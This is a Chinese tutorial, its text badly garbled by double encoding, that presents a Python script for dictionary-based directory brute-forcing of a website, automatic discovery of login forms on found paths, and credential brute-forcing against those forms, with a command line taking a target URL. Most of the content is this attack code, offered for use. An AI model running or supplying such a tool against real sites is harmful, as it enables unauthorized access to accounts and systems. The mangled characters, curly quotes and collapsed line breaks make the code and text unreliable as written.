python遍歷路徑破解表單的示例
首先是利用python遍歷路徑,采用字典爆破的形式,當(dāng)然如果只是單純的爆破路徑,簡(jiǎn)單寫(xiě)一個(gè)多線(xiàn)程腳本就行了。這里考慮如何對(duì)爆破到的路徑進(jìn)行第二步利用,此處嘗試對(duì)猜解到的路徑進(jìn)行表單發(fā)現(xiàn)及登陸爆破處理。
首先就是路徑爆破,采用多線(xiàn)程隊(duì)列,爆破路徑,判斷形式為200響應(yīng)碼。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try:r = requests.get(self.url+queue,timeout=5, headers=self.headers)if r.status_code == 200: print '[200] %s' %(queue) soup = BeautifulSoup(r.content,’html.parser’) if soup.find(’form’): self.brute(soup, queue)
猜解到路徑后交給brute方法處理,方法實(shí)現(xiàn)了一個(gè)css選擇器,獲取form表單中的input字段標(biāo)簽,提取標(biāo)簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁(yè)面,如沒(méi)有頁(yè)面默認(rèn)在當(dāng)前表單頁(yè)提交。
input = soup.select('form input') for i in input:try: if i.attrs[’type’] == 'hidden': name, value = i.attrs[’name’], i.attrs[’value’] list_post.append(name+’=’+value) elif i.attrs[’type’] == ’password’: name = i.attrs[’name’] list_post.append(name+’=$$$’) else: name = i.attrs[’name’] list_post.append(name+’=%%%’)except: continue for i in list_post:post = post + i + ’&’ action = soup.find_all(’form’) for i in action:if i[’action’]: actiontag = i[’action’]else: actiontag = queue self.payload(post, actiontag)
獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫(kù)的session登陸。獲取cookie,先采用session請(qǐng)求獲取cookie后,再采用session攜帶cookie進(jìn)行請(qǐng)求提交。然后對(duì)輸入的驗(yàn)證值進(jìn)行判斷是否為登陸成功。
for name in self.username(): post_user = post.replace(’%%%’,name.strip()) for pwd in self.password():post_pwd = post_user.replace(’$$$’,pwd.strip())session = requests.Session()session.get(self.url+’/’+action, headers=self.headers, verify=False)r = session.post(self.url+’/’+action, data=post_pwd, headers=self.headers, verify=False)if self.word in r.content: print ’[username] %s’ %name +’r’ + ’[password] %s’ %pwd return
為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為
python xxx.py http://xxxx.com xxxxx
以上就是python遍歷路徑破解表單的示例的詳細(xì)內(nèi)容,更多關(guān)于python 破解表單的資料請(qǐng)關(guān)注好吧啦網(wǎng)其它相關(guān)文章!
相關(guān)文章:
1. ASP 信息提示函數(shù)并作返回或者轉(zhuǎn)向2. Python importlib動(dòng)態(tài)導(dǎo)入模塊實(shí)現(xiàn)代碼3. android studio 打包自動(dòng)生成版本號(hào)與日期,apk輸入路徑詳解4. 利用promise及參數(shù)解構(gòu)封裝ajax請(qǐng)求的方法5. 淺談python出錯(cuò)時(shí)traceback的解讀6. 在Android中使用WebSocket實(shí)現(xiàn)消息通信的方法詳解7. .NET中l(wèi)ambda表達(dá)式合并問(wèn)題及解決方法8. Nginx+php配置文件及原理解析9. python matplotlib:plt.scatter() 大小和顏色參數(shù)詳解10. JSP數(shù)據(jù)交互實(shí)現(xiàn)過(guò)程解析
